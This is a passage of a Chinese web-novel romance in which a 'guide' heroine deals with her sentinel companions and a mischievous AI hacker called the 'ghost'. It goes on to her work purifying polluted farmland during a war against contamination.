第一次有人留宿,她也紧张。卡尔的工作就是跟随自己,睡这也方便,不用通勤了。 她在纠结,打地铺还是睡沙发,后来一想,应该不用见外。 “你晚上不呼,对吧?” 一个人睡觉的时候是最脆弱的,她可不希望自己被梦中一击,“或者说梦话、梦游、把人踢下床……” 不会,他赶忙表示,自己睡着时很老实,如果她担心,他可以打地铺。 “那你今晚先睡地上吧。” 既然他都这么说了,虚拟环境和现实还不是一码事,健壮的□□,下次再摸。 被子铺在靠窗的空地,放下枕头,粉嫩的四件套,男人在铺床,她突然想起,“可这没有你的洗漱用品。” “我去买。”好像是怕她反悔一样,火箭一样窜出去了。 她的话还没出来,人已经走远了,其实可以网购的。再打开门,看见对方手里抱着大箱子,这…… 她将他迎进来,在对方离开时,顺手整理了一下房间,特别是浴室,把私密用品藏进壁柜里,一个人太随意了,有人在还是矜持些。 事毕,两人对坐在茶几前,她在查看明天的工作对象。 抬眼见卡尔连睡衣都换好了,这就收拾好了。不行,得拿出主人公的架势了。 她起身前往冰箱,男人的关心从身后传来,“你饿了吗?” 她不饿,这里有一瓶米酒,正好他在,两人一起喝了,这个是度数低的甜酒,喝不醉人的。见她抬酒瓶,男人去拿酒杯。 入口又甜又香,味道很好,她一杯饮尽,发现对方没喝,光盯着自己,也没劝,毕竟小酌也伤身。 “卡尔,跟我聊聊你自己吧。” 毕竟,如果没有意外的话,两人以后要相处很长一段时间。 见她感兴趣,卡尔便开始讲述,他的出生、家庭成员、童年和工作经历。 女人举起酒杯,浊白色的酒水从玻璃边缘倒入口中,她的脸绯红,像蒸出热气,眼睛亮晶晶的,看着自己,不时傻笑。 她的关注像一种激励,他将趣事都拿出来,讨她开心。 卡尔的目光落在酒瓶中央,似乎在犹豫,她知道是担心她喝太多,伤身体,摆手道:“最后一杯。” 她曾经尝试喝醉,但一瓶红酒下肚,头痛欲裂,倒在床上,只剩下后悔。比醉酒更先来的是头疼。 “你困了吗?” 收拾好杯具,男人回来,见她眯着眼。 她摆手拒 绝搀扶,跑到卫生间,洗漱后,咚的一声趴上床,然后滚进被子里,将头埋进枕头,“我先睡了。” 卡尔站在床边看,她突然睁眼,嘴里念念有词,突然坐起身,想起来了,“我没换睡衣。” “别换了。” 见她醉成这幅样子,卡尔将人哄回床上,女人湿漉漉的眼睛望着他,让人不知所措,男人喉结滚动,手掌放在额头上,确定没有发烫,她的眼神朦胧。 “亲我一下,杨——” 看见那张完全不同的脸,碧色眼睛,她忽然闭嘴,念习惯了,垂眸道歉:“对不起,卡尔,不用管我。” “你睡吧,”她扭头翻身,起来关灯。 脸突然被捧住,她很意外,男人睁着眼,眼睫紧张地扇动,越靠越近,轻轻的吻落在眉间,大拇指擦干眼泪,男人侧头,两人交错地拥抱在一起,头靠在彼此的肩膀。 她的不安像躁动的滚水,降温消失。手从被子里伸出来,扒着男人的后背,听见对方说,“没关系,怎么样都行。” 男人伸手关灯,视野骤黑,将女人抱回床上,走到另一侧躺下,心里想的是,那个男人真该死,连把他埋在哪都想好了。 徐珊珊闭着眼睛,但没睡,她的心怦怦跳,下颌和脖子的交界处,还残留手指的压感,两人的接吻习惯不太一样,她好像没修眉…… 想得乱七八糟,她的头往枕头边缘挪,上身歪向床边,然后是两条腿,接着整个人都挪到床铺边缘,手伸下床。 卡尔注意到了她的行为,怎么手落下来了,怕她着凉,握住将它带回被子里,捂好了,然后搬回床中间。 哼,不解风情。 她还以为对方会握住她的手,罢了罢了,她转身,睡觉吧,明天还要上班。 接下来的几天,工作顺利,虽然接见的都是高污染的哨兵,但他们都很克制,没有做任何逾矩行为。 小蘑菇也更成熟,懂得控制分寸,再没有标记他人的情况。 哪怕他们一脸遗憾,她也果断、坚决地表达自己的立场,拒绝邀约和表白。 那个“幽灵”没有再来烦她,不知道是否是防火墙进行了改进。对比之下,她对生活感到十分满意。 周末,到了聚会时间。 她向曼努埃尔坦白,将那件事归到自己身上,希望他不要自责,对方接受了。 短时间内,身上的伤似乎已经养好了。她不禁感慨哨兵强大的愈合力。 “我们一起吃吧。” 这是热腾腾的鸳鸯火锅,服务员推车进来,又离开后,男人摘下面罩,见她盯着自己看,目光闪烁,她移开视线,摆放菜盘:“我点的不多,要是不够你再加。” 她知道这些人都是大胃王,肚子里面有黑洞,也做好了钱包扁扁的打算,总不能让人饿着。 两人边吃边聊,见他安好,就放心了。 用餐完毕,她从洗手间出来,发现他已经结账了。两人走出餐厅,天边有扎染般的绚烂晚霞,风吹起路边掉落的树叶,她再邀请他,一起去唱K。 这是莫大的荣幸,但曼努埃尔知道,她只是把自己当朋友,因为愧疚,不是喜爱。 她和卡尔说,自己晚点回去,省得他担心。 走上地毯,声音被吸收,打开包厢门,灯光亮起,两人走进去,将包丢在沙发上,分开坐下。 她来这儿不久,都还没学会几首,所以将控制台交给曼努埃尔,让他点。 大屏上开始播放MV,颜色染上每行歌词,前奏透着一股复古味,是激昂向上的调子,但他唱得很好听。 等她再点时,又是另一个画风,她偏好悲伤情歌,唱到一半,又划走了。她想着来一首舞曲,两人动次打次一下。 音乐突然被掐断,室内全黑,男人一下从沙发上弹出,扣住她的肩膀,一双绿眸在夜里发光。 “没事,可能是停电了。” 他似乎很紧绷,示意他放轻松,来到门边,打算去问问。灯忽然亮了,点唱机重新开机。 她愣了一下,两人回去坐好,只是对方依旧揽着她的腰,坐得很近,他无心再唱。 一匹弓箭在画面中竖起,箭矢朝外,接着弦绷紧,箭矢射出,响起凌冽的风声,男人让她俯身,果然有东西弹出,但不是箭矢。屏幕做出破裂特效,实际正常。 一根短棍弹向背包,而大屏幕上也显现人形,一个熟悉的人。 “幽灵,好久不见。” 她和曼努埃尔解释了他是谁,对方皱着眉,严肃地准备带她离开。 幽灵:“没用哦,你带她去哪儿,我都能看见,我会盯着你们的。” 她拉停男人,转身正对屏幕,歪头道:“你答应我的事,做得怎么样了?” 她坐会沙发上,翘起二郎腿,“汇报一下。” 曼努埃尔对他们之间的交流不了解,只是凭他的所作所为,十分戒备。但她的手指在掌心挠了挠,示意他稍安勿躁,便忍耐下来。 画面展示了卫星地图,里面标记了一处地点,左下角有经纬坐标,是一片密林。 得了消息,她准备离开,对方又喊停,“我还有事想跟你说。” “说吧。” “让他离开。” 曼努埃尔第一时间拒绝,他不可能再让两人单独相处,她也不同意。对方阴森道:“你确定吗?” 幽灵的目光是对着曼努埃尔,但她已经逐渐失去耐心,“说吧,有什么事?” “东西在那儿。” 沙发的角落,背包外的金属棍开始闪光,她松开手,往前走去,腰部被抱住,曼努埃尔挡在前面,如果她想看的话,让他来。 那条短棍被抛到地下,没有异动,只是普通的闪光棒。男人翻开背包的拉链和锁扣,它们没有被打开过,他们出塔不会带机密物品。 “你说的就这个?” 她不觉得这里面会有什么秘密。别不是耍她吧,她接过包,翻来看,一无所获。 “你确定吗?” “问题在他那儿。” 女人抬眼,摇头说:“不可能。” 她将东西收好,准备离开,他们的羁绊可不是这个“人工智能”能够挑拨的。 好感人的画面,可惜这个男人可没有她想得那么光风霁月,包括她所在队伍的那些哨兵,私底下不知道有多龌龊。 恐怕那些幻想被揭露,会颠覆她的看法。 幽灵:“不信的话,你问问他。” 她相信他,因此直接问道:“你有什么东西瞒着我吗?” “……” 她看着那张脸,忽然感到失望,骗她么? 曼努埃尔突然跪在地上,向她请罪,说出来的话却让她听不懂了,什么觊觎了肖想了,让她越发紧张,难道自己真的看错了人? “给我看看吧。” 她深吸了一口气,接过来,男人已经将锁扣打开,她一一翻找,却没找到什么奇怪的,都是正常用品。 幽灵:“在夹层里。” 还挺巧妙,她翻了一会儿,才摸到一处触感凸出的地方, 从缝里将布荷包取出,很薄很小,里面的东西细密而长,不是纸,和她想象的差别很大。 “这是什么?” 幽灵:“说呀,是什么?” “你闭嘴!”这没有他插话的地方。 比起旁人的调笑,她审视的目光更让他感到压力,辜负了她的信任,他很抱歉。 “你不说话,我开了。” 她的耐心失去了,打开包口,里面的东西便露了出来,闪亮的光打在手上,她看得清晰,室内沉默一片。 …… 怎么办,她的话好像说重了,摸了摸脸,凝视着这小玩意,想了很久也没想通,但一看曼努埃尔伤心又惭愧的模样,眼看着就要猛男落泪了。 幽灵在数据世界里阴测测地笑,看他不揭穿这些哨兵的真面目。 女人松开荷包,走上前,手扬起,男人低头侧脸,一副束手就擒的样子。幽灵以为自己会兴奋地看他挨揍,但实际上却并不如此。 即使是被掌掴,代入设想一下,也只会让他爽到,它应该直接向白塔举报,这样他就会被强制隔开了,而不是现在这样,亲密接触。 他甚至忍不住想,她的巴掌扇过来时,是什么滋味。 但预想的啪声没有响起,女人摸向他脸颊边的伤口,语气心疼地说:“你要这个,和我说,不要老是在地上捡。” 不对?这反应完全不对!幽灵无能狂怒地看着她将男人扶起来,坐在他身边,手里拿着小荷包,细心安慰,肯定是哪里出了问题。 她安慰他,甚至抱住他,拍向肩膀,像哄小孩一样,不停地在耳边轻语,告诉对方,没事的。 很快,两人收拾好心情和行李,起身就离开了这里,离开前,女人回头说:“以后不要给我汇报这种事了,好吗?闲的没事干就去种菜。” 幽灵很委屈,难道她喜欢这样? 两人离开歌厅,坐回车内,男人坐在驾驶座上,还是惊疑不定,转头问:“你真的原谅我吗?” “我对你做了这样的事。” 她看过去,有些无奈道:“没事。” 搜集她的头发并随身携带,听起来很像是某种粉丝的狂热行为,但那也只是头发。他那副样子,还以为他是间谍。 但也很难评价,有谁能懂这样做的意义在哪吗? 她岔开话题说:“关于他提供的地址,我们报上去吗?” 曼努埃尔从个人情绪中回神,既然对方提供了这个消息,他们应该让情报部门去辨别真假。这个组织是一颗毒瘤。 “对了,你拿我头发做什么?”她感觉这东西没什么用,这只是蛋白质,没有入药功效。 两人下一刻对视,对方似乎有些惊慌,她连忙道:“看路看路,别看我。” 回到白塔后,曼努埃尔向她陈述了自己的想法和做法,没有一点隐瞒和美化,但见她的表情未变,松了口气。 “那你下次给我剪头发吧,掉下的都可以拿去。你会吗?” “……会” 话虽这么说,等她躺回床上时,才后知后觉道:“应该只有他一个人这么干吧?” 第68章 漫天的羞耻感突然涌来,她滚进被子里,这也太莫名奇妙了吧。 卡尔抱着衣服进门,就看她像蚕宝宝一样翻来滚去,反手将门带上,不知道两人一起做了什么,这么开心,听见门锁声,女人才从揭开被子一角,露出眼睛,盯着他欲言又止。 他配合地开启话题:“好玩吗?” 她讲述了大致路线,听起来相处愉快,但接着抛出一个重量级问题,“你会偷偷搜集我的东西吗?” 徐珊珊只是随口一问,但看他脸上红一阵白一阵的,擦了擦鼻尖,话说出口就收不回,怕自己唐突,挽回道:“我没有怀疑你的意思,就是在网上看到……” 她把话题扯到网络平台,不希望谁因此惹上麻烦,毕竟她现在还不熟读白塔的法律,不知道这是否违法。 卡尔果断摇头:“不会。” 虽然他的确会打扫她留下的痕迹,但并不是为了一己之私,而是定期销毁,不像某些哨兵的流氓做派。 “可是我看很多人,他们好像求购这种东西,你不想拿去卖吗?” 徐珊珊觉得,倒不是不能卖,给她分成的话,她会去买生发水的。 但卡尔的意思,是出于安全考虑,最好别买卖这些东西,他态度严肃,一副公事公办的模样。 卡尔:“你相信我吗?” 她眼神飘忽,没想明白这什么发展,随即点头。从没有怀疑过他,但他的提问有些奇怪,毕竟人就是越缺什么,就越喜欢强调什么。 “我当然相信你,你跟他们不一样。” 男人点头,高大的身影靠近,来到床头弯腰时,挡住了顶灯,她屏息往枕头后躲了一下,但他只是帮忙提床垫,“好像溜下来了。”搞得这么暧昧。 徐珊珊:“我要睡了。” 男人打开衣柜门,仰着头,将烘干的衣裤挂上晾衣架,告诉她:因为意外中断,演习不会再补赛,但奖金会照发,计算规则比较复杂,毕竟还没到决战时刻。 卡尔:“明天有聚会邀请,你要去吗?” 他指的是空战组的邀约,恰巧周末,她也好久没去那边了。但她和吴可她们约好了,一起去动漫城,有家真人扮演的游戏店铺。卡尔听罢,准备回绝,她又翻开光脑,发现吴可问:可以带人吗? 克拉拉同意了,说是还有几个空缺,他们不和塔外的人拼。她连忙叫停,开始数数,在群里招人:【明天缺三个人打游戏,来的扣1】 然后群消息里开始弹出一系列“1”,队里有人问是什么游戏,她便解释,刚出来的“模仿者游戏”,很快就有人说自己玩过,很熟悉,包赢。但她表示,其他人都是新人,老手pass。 【其实我只打过一把。】这位兄弟变如脸,但还是错失了机会。 确定好人员名单后,她们锁定明日的场次。 第二天,穿上休闲装,卡尔载着她来到活动场地,验了身份进场,其他人也陆续到来。 一进门就看见将沙发塞满的三人,人高马大腿又长,解队、夏广礼和洛伦斯三人。 等人齐后,她也认识了朋友家属,场面登时有些过于礼貌了,话不多说,众人相继走进甬道,在黑幕之后,台上领取了自己的身份牌。 她翻开这张卡牌——“愚人”,一张中立牌,胜利条件是在会议上,被所有人投票出局。 这个地图有些大和陌生,她被投放到一片空白地带,沿着眼镜里的指示箭头,来到一个半开放的监控室,里面已经站了两人,吴可和克拉拉,见她来后,不再说话了。 遇见家人了,她也凑上去,这才刚开局,打招呼道:“你们是好人吗?” 吴可眨眼,“她会不会听见我们说话了。” 如果她没看错的话,克拉拉有点眼冒红光,显现杀意,她还不想这么早死,举手投降,“我什么也没听见,真的,我是中立啊,我帮你们。” 她往门口站,克拉拉也贴上来,似乎不想让她离开,“放宽心,”她拍了拍对方肩膀,朝外看,“没人。”又钻进监控室,两人将信将疑,她比了个心。 吴可:“我是怪盗,可以换位,我站里面。” 她们排队列在监控室门后面,但还没交流完,灯却突然黑了,她贴上去,“我也来,我帮你们堵人。” 黄色身影在视线内闪烁,而下一秒,一个男人被换过来,和门同高,低头转身,向下看来,“你们还好吗?” “动手动手,有人在修灯。” 解逸飞:“等一会儿。”他是拳击手,开技能了,现在刀他的话会被反杀的。 她听见吴可跑近,紧张的声音,就想着让开位置,让克拉拉开刀,但她迟迟没动,她怀疑地看过去,对方却沉默了一下,“手误 了,我看了技能,你卡在最后两秒递给他。” 果然,她的身上出现了十一秒的烟花,闺蜜竟然试图炸死她,这可太伤她的心了,为了活下去,“解队,对不起了。” 灯开后,竟没人拉铃,她就卡着时间,把烟花给了解队,对方消失了,只留一地的爆炸残留物。 她们等了好一会儿都没人来,不知道为何,两人在等cd时,她出去看情况。电力室倒了一地的尸体,数下来有四人,她目瞪口呆道:“怎么死的?” 洛伦斯:“侦探说他验出来是狼,治安官上去刀了个好人,双倒了。” 这还有一个,她不解,对方解释:“这是狼刀的,说他是假侦探。” 那还有一个,洛伦斯眨了眨眼,“我是猎人。” 洛伦斯:“你是好人吗?” 她看着洛伦斯的眼睛,理不直气也壮地说:“我包好的,你信吗?”她在左边扒拉了一下,随便点了个角色,“我是演说家。” 男人顿了一下,一副了然的神情,点头道:“我信你。” 于是她就领着洛伦斯往监控室去了,但走到一半,突然被换位了,她大惊道:“是我,别动手!”克拉拉被吵得捂住耳朵说:“知道了。”再往外看时,洛伦斯没死,他反应很快,灵活走位,吴可竟然没追上。 克拉拉见状,拉了黑灯,“你在这别动。”便冲了出去,不一会儿,门锁了。 这是一个漫长的黑夜,灯没亮,但也没结束,她躲在门后,听到一阵爆炸声,微弱的光线照亮一角。不一会儿,门外有个装箱声,突然进入了急速时刻,这意味着只剩下三个人了。 一个男声出现,他哼着歌,应该在门外,她期待对方不要发现自己,然而对方咦了一声,越靠越近了。竟然是许久未见的夏广礼,“你好~” “这里很危险,我保护你吧。” 她点头说:“好好好。”她琢磨着,一会儿克拉拉回来,就给他塞炸弹。 “好,我保护你~” 时间一分一秒过去,她总觉得男人的笑声不太对,犹豫着拒绝道:“要不算了吧,我一个人在这儿挺安全的。” “没关系。”他说话的下一秒,她的视野就变了,耳边响起很多人的说话声,还有吴可的尖叫,原来这位是送货员,吃了许多人,还包括两头狼。 原来他说的保护,是吃进肚子里,这下很安全了。 但幸运的是,克拉拉在最后时刻,从管道里钻出来,发现了他,捏了仅剩一秒的炸弹,将夏广礼,连带他货柜里的人,一块炸死了,游戏结束,模仿者胜利。 她玩得很开心,但这场游戏不寻常,因为一次会议桌也没上过,难道他们对追凶不感兴趣吗?就算有人死了也无动于衷。 等她笑呵呵从甬道出来,迎接她的是两位被骗哨兵,解逸飞和洛伦斯,卡尔见她出来,不停鼓掌,衬得她的计谋十分高明,个人智慧比肩孔明,实则不然。 洛伦斯:“珊珊向导,下次我再也不相信你了。” 她挠了挠头,“好。”毕竟她理亏,利用了别人的信任。 骗她的,其实下次还是会被骗。一次不算结束,真有人被忽悠了三次,连卡尔都看不下去了。众人又玩了好几把,她也是好人、中立、狼三个阵营都玩过了,赢了两次,还是很新奇、有趣。 游玩后聚餐,他们吃自助,三位向导靠在吧台交流近况,吴可告诉他们:最近要有大事了,上面要召集一批人出塔。她不禁看向克拉拉,想起她的来历,“你听说了吗?” 克拉拉抬头,漫不经心地抛出重量级消息:“我会去,”打发走靠近的大哥,她饮下一杯纯净水,“他们找到位置了。” “注意安全。”徐珊珊反应了一会儿,才猜到,两人说的应该是打击改造组织的行动,意思是幽灵的消息是正确的。 “一帆风顺——”三人举杯共饮。 …… 她的喜悦在抵达宿舍时戛然而止,从机器人里吐出的信封,拆开后,里面有一个通知——征兵令,不是消灭改造组织,而是分散往危险区界限,抵抗污染物潮。 她突然有些后悔,今晚没去见他们,因为上面有许多人的名字,手有些软,抓住男人的衬衣角,靠在墙边喘息。见她担心,卡尔忙安抚道:“还有几日才走,你放心,他们会来向你告别的。” 他说的话很快应现,当晚,她的光脑上弹出许多辞行消息,她一一回应,答应会在走前见一面—— 作者有话说:注:模仿者游戏是手游《第五人格》里的一个娱乐模式 第69章 辞别宴后,许多人离开,电梯变得空荡,哪怕是高峰期,也还有空余。与此同时,她的任务逐渐加重,来访者增多,一些人是直接从前线拉回来的,无法再作战,在后方接受治疗。 这场景,让她想起游戏里的怪物,人体与畸肢的拼凑,望之惊骇,这个人拖的时间长了,她不确定自己能否解决,男人睁着眼,他是清醒的,斑驳的碳化肢体,仿佛一触即碎。 他们将男人绑上床,束缚固定,打入麻醉,但他还是醒着,不能再加量了,轮到她上场。屏蔽外人,由圆弧形隔离间挡住气息,整个空间里只剩下两人,她戴着护目镜,倍率扩大,看见男人脸上的游动斑点。 当她试图伸手时,黑色汇聚,但都被隔离在乳胶手套外,这让站在外面等候的人揪了一把心,这病扩散性强。 “没事。” 她站得远,自从上次从演习里出来,突然发现,自己不仅能够看见,还能够支配精神力。由星点汇成的白飘带从她的指尖蜿蜒,往男人的焦化手臂上去,像乳液驱散墨汁,一圈圈回荡,往里层、边缘褪去。 还是有用的,她松了口气,但看他一副痛苦、煎熬的神色,脸上都充血赤红,青筋狰狞,怕他控制不住,就让小蘑菇给他上幻觉,直到男人的身体放松下来,才继续深入。 遇到结成团状,无法移动的污染,她就会将它包裹住,然后一口吃掉,反正她对这个耐性强,不会有严重后果。 整场疏导结束,她和患者都大汗淋漓,完全沾湿了衣裤,但这是个好样的,没意外,也没有严重的后遗症,她松了口气,往外比了个手势,看见众人感动、兴奋、鼓舞,她选择留下,等他醒来。 等他度过难熬的时段,平静下来,解开束缚,将外面的人放进来。饶是如此,在陌生气息涌入时,他还是皱眉,应激地试图攻击。 太正常了,她见怪不怪,一顿话疗把这群人弄走了,剩下卡尔和她收拾残局。稍作休整后,迎来下一位。 有时候,半夜会被叫起来,因为有濒临异化的人,要是以往也放弃了,但她总创造奇迹,秉持着能者多劳的原则,给她送来了。她甚至会半夜惊醒,把卡尔摇起来去上班,但却并没有来访者。 日有所思,夜有所梦。她很想念朋友们,想他们多久会回来,一直到打击改造组织的行动结束,几个月过去,还是没见人影,万幸的是,没有切断消息,他们还能联系上。 一直到吴可也休假回塔,众人再聚,在居民区,她才恍然发觉,物价涨了。 这是理所当然的,土地污染、水质退化对粮食安全造成重大威胁,她只是没想到会发展得这么快,因为一直缩在塔内,吃着食堂,不闻窗外事。 现在前线战事焦急,休假很少,他们可能每半年会有半个月假期。吴可、克拉拉修整后,也会出发,不过她们会在稍靠后的哨所,没有死亡威胁。 晚上,在宿舍门口,当她看见山昊在侯梯厅等待时,知道自己大概率来活了,捋了捋头发,勇敢地迎上去,打招呼。男人低头看她,连带身旁的卡尔一起。 “找个地方聊聊?” “行。” 领导告诉她形势的严峻,许多资料被铺开在面前,他们能做的事有很多,但也有无能为力的时候,对于土地污染的研究有了初步进展,污染同源。向导本就供不应求,但如果不派人去,就算前线守住了,后方的供应链却成了难题,最终被迫后撤。 大概是一个向导当两个人用的时候。她听懂他的意思,问话也很直白:“是要我去外 面吗?” 山昊:“如果你愿意的话,明天我带你去实验室看看。”那片平原,离真正的交战区还有两百公里的距离,在战地医院后方。 她没有什么犹豫地答应了,“如果需要我的话。” 谈话结束后,她和卡尔回到宿舍,对方开始收拾行李,她靠在床上,凉意从靠背漫到肩膀,沁进脊椎,覆巢之下安有完卵,在危机开始时把它控制住,当然是最好的。 第二日,她由长官带领,一起去了实验室,令人惊奇的是,小蘑菇的确能做到,在场人的目光难以描述,连她自己也感到惊讶,什么神菇降世。既然效果这么好,那就决定是它了,两人一起被打包送去污染区。 几日后,调令下来。 两人坐在运输车上,同行有许多科研人员。她和卡尔牵着手,他的掌间有训练痕迹,但手指上没有像壳一样的硬茧,她曾在奶奶手上摸过的,做农活的手,自己更是十指不沾阳春水。 听说他家里背景还行,一个好好的公子哥现在要陪自己去种田了,总感觉是自己拖累了他。 徐珊珊:“你紧张吗?” 男人摇了摇头,实际上,他兴奋。引导和束缚是一体两面的,他受家族的保护,也要回应众人的期待,和她一道,算有了正当理由外出。 卡尔:“当做是一次挑战。” 她越过重重人影,往车外看,越发荒凉,他们路过了废弃的小镇广场,上面有一桩雕塑,是一个女人,上身是人,下身是鱼尾。 卡尔提醒她,那是英雄的纪念雕像,她才想起来了,在书中看到过的,对方的精神体是鲤鱼,是一位在前线牺牲的向导,这应该是她的家乡。 “等回来时,我们去看看她。”卡尔怕她联想到自身,心生悲凉,但向导本人还没想那么远,她就担心,万一自己牺牲了,他们要怎么给自己刻像?肩膀上站一只蘑菇,还是头上,亦或者是伟大的蘑菇神向下笼罩世人,伞盖下有一颗耀眼灯泡。 怎么想都太过诡异了,她顿时嘿嘿笑起来,留一车人看她傻笑,她意识到,捂住了嘴,而这时,车上才开始攀谈起来,众人互相报了名字,经历和职位。 等她抵达试验田的时候,光脑也恰时亮起,她还以为是有人找,兴奋地点开,结果又是那个“幽灵”,他不知道从哪儿找来的Q版图案。本来她让他闲着没事去种田,这下回旋镖回到自己身上,对方没事,自己成菜农了。 她不客气地问:“有事?” “我这段时间去进修了农业知识,”幽灵透过摄像头观察周围环境,疑惑道:“你跑哪儿来了?这荒郊野外的。” 她一听,这不正好,有个大数据库兼AI帮忙,事情肯定能办得更快更好,遂扣他下来,大概就是:我需要你,没你不行,快来帮忙。就这么稀里糊涂的把这位黑客的一部分意识,输入机器人,从而拥有了一位廉价劳动力。 在这之后,枯燥的日子,有他作陪,倒也不算无聊,毕竟他有不知道从谁的脑子里翻出来的小故事。 徐珊珊:“幽灵,翻一下地。” “他怎么不翻?” 废话,这是她以后的对象,累坏了怎么办,她起身说:“那我来吧。” 幽灵:“你一边坐着,谁让你起来了。” 拿捏,她接过一颗苹果,是这片中度污染耕地种出来的,咬了一口,牙酸得不行,反呕,抱着肚子滚进躺椅,还以为卡尔要谋杀自己,等将它彻底咽下去,那股怪异的味道消失了,她总觉得吃了什么不干净的东西。 幽灵:“你给她吃了什么?” 卡尔放下背篼,看过来,“这是喂鸡的,上面有布盖着。”还有禁食标志,但人吃一点也没事,只是口感差,还没到中毒的地步。 幽灵开着旋耕机过来,停下问:“要不我给你催吐?” “算了吧。”她把果核丢回去,掐着喉咙,灌了几口水,把味道压下去,再次起身。其实她还没休息好,但为了以后有绿色食品吃,还是得加油干,味道太糟糕了。 事成后,她昏昏欲睡,看向一旁的小蘑菇,它俨然长成了“菇中巨人”,有她小腿高,全身乌黑,跟刷了漆似的,就杵在田地旁,哪也不去,菌索下扎,往土壤中蔓延,因为它的工作特性,她也搬到附近。 面对这一眼望不到头的平原,她最初感到迷茫和畏惧,真的能做到吗?这样的消极心态,在点滴胜利中被消灭,从中度污染到轻度污染,再到优良,是希望让人能够继续坚持下去。 但她在这儿的工作也不完全是这个,有时还要接点活,此事说来话长。 某日夜里,幽灵监控到有陌生人靠近,卡尔知道后,告诉了警备队,一起去抓捕,看他们的作战服,竟然远离作战区,还以为是畏战潜逃的哨兵,准备报给纠察队处置。 但不是,他们有合法的手续,随行还有一位护士,是为了一名半步异化的哨兵。 他们得了小道消息,听说她来到这儿,离作战医院不远,赶了一天,将队友送来了。卡尔和所长都严厉批评他们的行为,不合规矩,况且她也没这么多精力,让他们回医院去或往上打申请。 但是天这么黑,他们身上风尘仆仆,像沾满泥的土豆,衣领、手腕、指甲盖里全是灰,察觉到她的视线,缩手交握在背后。 担架上的人,他的眼睛分泌出黏液,那颜色浓郁艳丽,护士蹲下,用镊子夹着棉球擦拭,紫色迅速褪为棕黄,掉落地上,枯叶萎缩。 也只是为了队友的安危,她靠在门框边,灯光有些晃眼,看见惨白的脸,他的喉咙变得肿大。 这个人是危险的,徐珊珊知道,如果彻底异化,失去控制,就会像曾经,蛮横冲撞的那头黑犀牛。 虽然有风险,她还是愿意一试,把他留了下来。 因为没有专业设备,就随地铐住,没那个条件,让那些人把他压住,然后强行切除一部分“结”,等他的形态稳定下来,再放开,那人在这儿等待进一步疏导,其他人当夜遣返。 她为自己的天赋点感到庆幸,能够对其他人有用,累一点,也能坚持,何况卡尔和所长他们,还老是给她熬大补汤,给她吃得流鼻血了,绝不是看裸男看的。 这名气一打出去,就像开了专家号,陆续有人送人来,不久后,幽灵告诉她,有人推荐她为今年的感动白塔十大人物。 第70章 时间流逝,体力劳动让人没空多想,土壤污染防控计划初见成效,她收获了第一批由净化土壤种出来的蔬菜,经过测试,证明品质优良,她自己也啃了两口。 他们打算种植应急主粮,粮食库存足够,只是民众恐慌抢购,她会配合做相关的宣传工作。 初期,她独自拍摄视频,经由幽灵剪辑,发布在视频网站。她戴口罩,蹲在地边介绍和展示,现摘,洗净了后现吃,标题为——污染土地变良田取得突破性进展。 首次发布,没几个人看,效果不好。她又调整标题,继续发布,陆续有人回应,但多是质疑:哪儿来的民科? 她只能回应:自己是官方人员,一名研究所的向导,目前在申请认证标志中了。不信也没关系,后续会有官媒认证。 假期与休战同至,到处都是捧着光脑打电话的人,站着、坐着、躺着。 她也收到许多回信,但有的人却如同失踪了般,秉持着对朋友的关心,她发了消息询问。 淋浴车内,白色的细密泡沫从指间搓出,从发顶冲下,混着热水,从沟壑间滚溢,曼努埃尔走出来,抬起浴巾,擦拭身体。 见他终于出来,白阳一脸神秘的凑上来,晃了晃手中的表带,坏笑道:“你猜谁找?” “任务?” 他不太确定,伸手去接,对方却突然往后仰,晃了他一下,这小子 ,见他这幅样子,应该不是急事,指向后车门,“位置空出来了,你去洗吧。” “我不急。”白阳觉得,不洗也没什么,错过了这个热闹才是真的遗憾,这事可不是天天有。他点亮光脑,所有人都不允许设密码,不知道来人能否打动这颗沉寂的心,“你的置顶,不看看?” 说罢,他直接将东西抛出去,曼努埃尔一边呼小心,一边稳稳接住,看着白阳摇头,还是小孩子性格。至于他说的,置顶的消息……男人期待地点开,果然是珊珊向导的来信:最近还好吗? 他的回复简介,而后将它扼住,开始更衣。 光脑一阵响,他却不看,白阳无语,装吧,别以为他不知道,他每天晚上就来回刷那几条消息,现在别人来信了,不回,等妹子真爱上别人他又急了。 和新队长打了一声招呼,他一会儿洗冷的,揽着老队长到一旁。 两人并靠坐,男人的眼眸抬起又垂下,拇指在金属设备的边缘擦拭,犹豫不决,肩膀被拍了一掌,“紧张什么?” 白阳:“她不喜欢你为什么要关心你,听我说,别再怂了,主动出击。” 他还没来得及回应,男人耳机里突然传来语音,“九点钟方向,有两个敌人。” 做了暂停手势,白阳往前冲去,迅速收割后再跑回来。他已经在看消息了,很好的进展,宠溺的笑容让他陌生,说话都轻声细语的,他好奇地凑过去看,视频通话呢。 不小心入镜,打了个招呼就绕到一旁,听见里面说:“我最近有点晒黑了,可能你认不出来。”并没有,完全是健康的小麦色肌肤,流畅的身体线条,一副活力四射的模样。 曼努埃尔摇头道:“跟以前一样好看。” 屏幕里,她微笑着看来,柔和的灯光让发丝像一团云,她也是刚知道,对方回归队伍。 “他们没欺负你吧。” 曼努埃尔虽然以前是联队队长,有最高的指挥权,但毕竟后来卸任了,现在是二进宫,会不会被新人排挤,她有点担心这个。 听了这话,白阳扶额叹息,请问呢?首先,看他的体型、身体素质、战斗技巧和战绩,到底谁欺负谁,队长在她眼里难道是什么小可怜形象吗?可能这就是人设,他明白了,队长的双面人生吧。 话很快聊尽了,对方并不是健谈的性格,她的目的纯粹,是为了了解他的近况。 徐珊珊;“你们要好好照顾自己,辛苦了。” 白阳听她这么说,觉得自己也在叮嘱对象中,入镜挥手道别,比了个心道:“向导小姐你也要保重,期待见到你哦~” 对方捂嘴笑,媚眼如丝,让白阳的耳朵有点烫,她看起来很美好,一切都好,如果忽略那个多余的男人,老是晃来晃去,用这种方式给他们上眼药吗? 通讯挂断,白阳疑惑道:“那人是谁?” “她的哨兵。” 啊,原来队长是小—— 没事,他握拳继续鼓励,只要锄头挥得好,没有墙角撬不倒,“休假了你去找她吧,总不能等别人主动,你这样,她总有一天会把你忘了。”这么可爱的向导身边可不会缺人,他觉得自己的牙痒痒的。 “嗯。”男人应下,这么快就改变了决定,让他感到惊讶。 在人员名单上打了个勾,她放心地联系下一个人,直到所有人都确认安全。软件里还有一个隐藏消息,她知道那是谁,想着自己也晾了他太久,点开一看,发现最后一条消息已经是一个月前了。 这可不是阿瑞斯的作风,想起死亡ending,还是决定拨过去,打不通。她等了几分钟,也没有回拨,有些担忧,再拨过去。 